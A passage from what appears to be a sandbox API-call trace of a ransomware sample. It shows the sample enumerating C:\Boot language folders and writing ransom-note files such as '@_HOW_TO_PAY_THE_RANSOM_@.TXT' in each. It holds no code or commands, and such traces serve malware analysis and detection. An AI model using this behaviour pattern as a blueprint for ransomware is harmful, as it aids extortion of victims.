dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.717] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.717] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0068.717] AreFileApisANSI () returned 1 [0068.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.717] CreateFileW (lpFileName="C:\\\\Boot\\ja-JP\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\ja-jp\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.717] GetFileType (hFile=0x1f4) returned 0x1 [0068.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.718] AreFileApisANSI () returned 1 [0068.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.718] CreateFileW (lpFileName="C:\\\\Boot\\ja-JP\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\ja-jp\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.720] GetFileType (hFile=0x1f4) returned 0x1 [0068.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.721] AreFileApisANSI () returned 1 [0068.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.721] CreateFileW (lpFileName="C:\\\\Boot\\ja-JP\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\ja-jp\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.722] GetFileType (hFile=0x1f4) returned 0x1 [0068.722] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.723] FindFirstFileA (in: lpFileName="C:\\\\Boot\\ja-JP\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.723] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.723] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651b460, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.723] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651b460, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.723] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651b460, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.723] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.723] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.723] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.723] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0068.723] AreFileApisANSI () returned 1 [0068.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.723] CreateFileW (lpFileName="C:\\\\Boot\\ko-KR\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\ko-kr\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.725] GetFileType (hFile=0x1f4) returned 0x1 [0068.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.726] AreFileApisANSI () returned 1 [0068.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.726] CreateFileW (lpFileName="C:\\\\Boot\\ko-KR\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\ko-kr\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.727] GetFileType (hFile=0x1f4) returned 0x1 [0068.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.728] AreFileApisANSI () returned 1 [0068.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.729] CreateFileW (lpFileName="C:\\\\Boot\\ko-KR\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\ko-kr\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.731] GetFileType (hFile=0x1f4) returned 0x1 [0068.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.732] FindFirstFileA (in: lpFileName="C:\\\\Boot\\ko-KR\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.733] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.733] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651b460, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.733] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65415c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.733] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651b460, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.733] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.733] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.733] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.733] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0068.733] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0068.733] AreFileApisANSI () returned 1 [0068.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.733] CreateFileW (lpFileName="C:\\\\Boot\\nb-NO\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\nb-no\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.733] GetFileType (hFile=0x1f4) returned 0x1 [0068.734] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.734] AreFileApisANSI () returned 1 [0068.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.735] CreateFileW (lpFileName="C:\\\\Boot\\nb-NO\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\nb-no\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.737] GetFileType (hFile=0x1f4) returned 0x1 [0068.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.737] AreFileApisANSI () returned 1 [0068.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.738] CreateFileW (lpFileName="C:\\\\Boot\\nb-NO\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\nb-no\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.738] GetFileType (hFile=0x1f4) returned 0x1 [0068.738] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.739] FindFirstFileA (in: lpFileName="C:\\\\Boot\\nb-NO\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.739] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.739] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65415c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.739] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65415c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.739] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65415c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.739] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.739] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.739] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.739] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0068.739] AreFileApisANSI () returned 1 [0068.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.740] CreateFileW (lpFileName="C:\\\\Boot\\nl-NL\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\nl-nl\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.741] GetFileType (hFile=0x1f4) returned 0x1 [0068.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.742] AreFileApisANSI () returned 1 [0068.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.742] CreateFileW (lpFileName="C:\\\\Boot\\nl-NL\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\nl-nl\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.744] GetFileType (hFile=0x1f4) returned 0x1 [0068.744] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.745] AreFileApisANSI () returned 1 [0068.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.745] CreateFileW (lpFileName="C:\\\\Boot\\nl-NL\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\nl-nl\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.746] GetFileType (hFile=0x1f4) returned 0x1 [0068.746] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.747] FindFirstFileA (in: lpFileName="C:\\\\Boot\\nl-NL\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.747] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.747] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65415c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa65415c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa65415c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.747] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6567720, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6567720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6567720, ftLastWriteTime.dwHighDateTime=0x1d5c259, 